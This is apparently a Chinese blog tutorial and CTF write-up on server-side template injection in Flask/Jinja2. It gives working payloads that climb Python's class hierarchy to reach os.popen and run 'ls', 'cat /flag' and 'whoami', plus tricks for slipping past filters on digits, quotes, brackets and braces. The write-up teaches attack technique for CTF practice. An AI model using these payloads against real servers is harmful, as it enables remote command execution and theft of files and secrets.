news 2026/1/30 2:57:18

SSTI模板注入

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SSTI模板注入

SSTI

SSTI即服务端模板注入,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输出数据,从而达到读取文件或者getshall的目的

Flask是python编写的一个web应用程序框架,Jinja2是flask中的一个模板引擎,在Jinja2中,存在三种语句:控制结构{% %}、变量取值{{ }}、注释{# #}

SSTI基本思路就是通过找到合适的魔术方法,一步步去执行,从而得到我们想要的结果

{{7*7}} # Jinja2/Twig:返回49 ${7*7} # Mako:返回49 <%= 7*7 %> # ERB:返回49 #{7*7} # Freemarker:返回49 [[7*7]] # Twig(某些版本)

jinjia2基本语法示例

{# 这是注释 #} {# 变量输出 #} Hello {{ name }}! {# 控制结构 #} {% if user.is_active %} Welcome back! {% else %} Please log in. {% endif %} {# 循环 #} <ul> {% for item in items %} <li>{{ item.name }}</li> {% endfor %} </ul> {# 模板继承 #} {% extends "base.html" %} {% block content %} <h1>Page Title</h1> {{ super() }} {# 调用父模板中的内容 #} {% endblock %}

jinjia2基本特性

  • 语法简洁:使用{{ }}表示变量,{% %}表示控制结构
  • 模板继承:支持通过{% extends %}{% block %}实现模板继承
  • 自动转义:内置 HTML 自动转义功能,防止 XSS 攻击
  • 高性能:编译为 Python 字节码,执行效率高
  • 可扩展:支持自定义过滤器、测试、全局函数等

一些方法:

__class__:万物皆对象,而 __class__ 用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为 <class 'str'>。 __bases__:以元组的形式返回一个类所直接继承的类。 __base__: 以字符串返回一个类所直接继承的第一个类。 __mro__: 返回解析方法调用的顺序。
__class__:返回对象的类 返回 <class 'str'> __bases__:返回类的基类 返回 (<class 'object'>,) __subclasses__():返回类的所有子 返回 object 的所有子类

然后进行遍历子类:寻找包含危险功能的子类(如os._wrap_close)。执行命令:调用子类的方法执行系统命令。

# 通过 _wrap_close 可以访问: _wrap_close.__init__.__globals__ 包含: - os.environ # 环境变量 - os.system # 执行系统命令 - os.popen # 执行命令并获取输出 - os.listdir # 列出目录 - os.open # 打开文件

进行读取文件操作:这个是没有进行任何过滤的操作

{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['os'].popen('ls').read()}}

进行过滤后命令

过滤了数字,就不能直接进行索引使用,但是可以间接的去使用。使用算式进行绕过

{{''.__class__.__mro__[1].__subclasses__()[140-8].__init__.__globals__['environ']['FLAG']}}

过滤了双引号和单引号,用request.args传递参数

{{().__class__}} # 元组 - 不需要引号 {{[].__class__}} # 列表 {{{}.__class__}} # 字典 {{request.__class__}} # request对象 {{config.__class__}} {{self.__class__}}

使用数字对象

{{0.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=cat /falg

过滤了args,那就不能使用get参数去获取,但是还有其他方法,还可以使用cookies

?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.cookies.p](request.cookies.b).read()}}

然后在cookies中进行传参:p=popen;b=命令

绕过中括号[]

使用__getitem__方法:

{{ "".__class__.__bases__.__getitem__(0) }} # 等价于 __bases__[0]

绕过{{和}}

如果{{被过滤,可以使用{% %}语法:

{% print("".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()) %}

例1:

这是一般情况,没有过滤任何东西

锦家的拼音是jinjia,这不是jinjia模板注入,SSTI漏洞

测试一下,确实存在

接着获取字符串对象的类,查看类的继承链:{{''.__class__.__mro__}}。__mro__返回了(<class 'str'>, <class 'object'>),是Python对象结构

接着获取object基类,[0]是<class 'str'>,[1]是<class 'object'>。输入{{''.__class__.__mro__[1]}}返回<?class'object'>,看到可以访问object基类

然后查看object所有子类,寻找可以利用的危险类

{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('ls').read()}}

但是索引没有找准.......使用多种对象(config、request、self等)增加成功率。config是Flask内置对象,一定存在,无需寻找特定索引,避免索引号问题

可以利用cionfig执行命令:通过config对象访问os模块并执行命令。使用config的__init__方法,访问__globals__,从globals中找到os模块,通过os模块执行命令查找flag

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

在这个目录下并没有flag,看看根目录下,根目录下可以看到!

接着就是读取flag:{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

例2:

过滤数字

沿袭上一题的做法,当做到利用os._wrap_close这个类时,并没有显示内容,这里是过滤了数字

可以利用算式进行绕过,不是直接进行使用,间接进行使用

读取flag:{{''.__class__.__mro__[1].__subclasses__()[140-8].__init__.__globals__['environ']['FLAG']}}

过滤单、双引号

这题它过滤了双引号和单引号

{{().__class__}} # 元组 - 不需要引号 {{[].__class__}} # 列表 {{{}.__class__}} # 字典 {{request.__class__}} # request对象 {{config.__class__}} {{self.__class__}}

从GET参数获取

{{request.args.a}} //?a=__class__ {{request.args.a|attr(request.args.b)}} //?a=&b=__class__

使用数字对象:

{{0.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=ls /
{{0.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=cat /falg

注入思路

  • 随便找一个内置类对象,用 __class__ 拿到他所对应的类。
  • 用 __bases__ 拿到基类(<class 'object'>)。
  • 用 __subclasses__() 拿到子类别表。
  • 在子类别表中直接寻找可以利用的类,具体来说是关于命令执行或者文件操作的模块。

示例(Python 版本不同时下标需调整):

().__class__.__bases__[0].__subclasses__() ().__class__.__mro__[1].__subclasses__()

接下来只要找到能够利用的类(方法、函数)就好了

因为每个环境使用的python库不同,所以类的排序有差异。

直接使用popen(python2不行)

os._wrap_close 类里有 popen。

"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read() "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()

使用 os 下的 popen

可以从含有 os 的基类入手,比如说 linecache。

"".__class__.__bases__[0].__subclasses__()[256].__init__.__globals__['os'].popen('whoami').read()

使用 import 下的 os(python2不行)

可以使用 __import__ 的 os。

"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/1/29 9:33:03

10分钟搞定VMDE虚拟机检测工具:从零到精通实战指南

10分钟搞定VMDE虚拟机检测工具&#xff1a;从零到精通实战指南 【免费下载链接】VMDE Source from VMDE paper, adapted to 2015 项目地址: https://gitcode.com/gh_mirrors/vm/VMDE 还在担心你的系统是否运行在虚拟机环境中吗&#xff1f;VMDE虚拟机检测工具就是你的最…

作者头像 李华
网站建设 2026/1/27 12:32:01

LangFlow与社交媒体API集成:自动发布与监控评论

LangFlow与社交媒体API集成&#xff1a;自动发布与监控评论 在数字营销和品牌运营日益依赖实时互动的今天&#xff0c;企业对社交媒体内容的自动化管理需求正以前所未有的速度增长。想象这样一个场景&#xff1a;一款新产品刚刚上线&#xff0c;市场团队需要在多个平台同步发布…

作者头像 李华
网站建设 2026/1/28 23:43:42

LangFlow与股票行情接口结合:金融信息实时推送

LangFlow与股票行情接口结合&#xff1a;金融信息实时推送 在金融市场的快节奏环境中&#xff0c;信息就是优势。一个交易员是否能在股价异动的第一时间捕捉到信号&#xff0c;并迅速理解其背后可能的原因&#xff0c;往往决定了策略的成败。然而&#xff0c;传统的工作流中&am…

作者头像 李华
网站建设 2026/1/29 6:42:36

VirtualBox虚拟机运行卡顿问题

本机是华为笔记本前提&#xff1a;WIN11 24H2&#xff0c;关闭内核完整性&#xff0c;打开电脑虚拟化之后&#xff0c;发现虚拟机无法开启无法启用AMD-V或INTEL VT-X可能的原因是 Windows 11 24H2 的虚拟化功能&#xff08;如 VBS&#xff09;与某些 Virtualbox 版本冲突。打开…

作者头像 李华
网站建设 2026/1/29 11:57:22

AP0316语音模组深度解析:一站式解决降噪消回音,音频项目党必藏!

&#x1f449; 做音频项目的兄弟集合&#xff01;是不是总被这些问题卡壳&#xff1a;环境噪音盖过人声、麦克风和喇叭离太近全是回音、模拟/数字音频接口不兼容、调试半天还是出问题&#xff1f;今天给大家安利一款“音频全能王”——AP0316全功能降噪回音消除模组&#xff0c…

作者头像 李华
网站建设 2026/1/30 2:24:37

18、网络流量路由与过滤全解析

网络流量路由与过滤全解析 路由算法对比 在网络路由中,距离向量协议和链路状态算法是两种重要的路由算法。 距离向量协议存在一些缺点。它会导致路由表不断增大,因为它会周期性地向其他路由器通告自己的路由表,即使网络收敛后也是如此,这就增加了网络流量。而且,大型互联…

作者头像 李华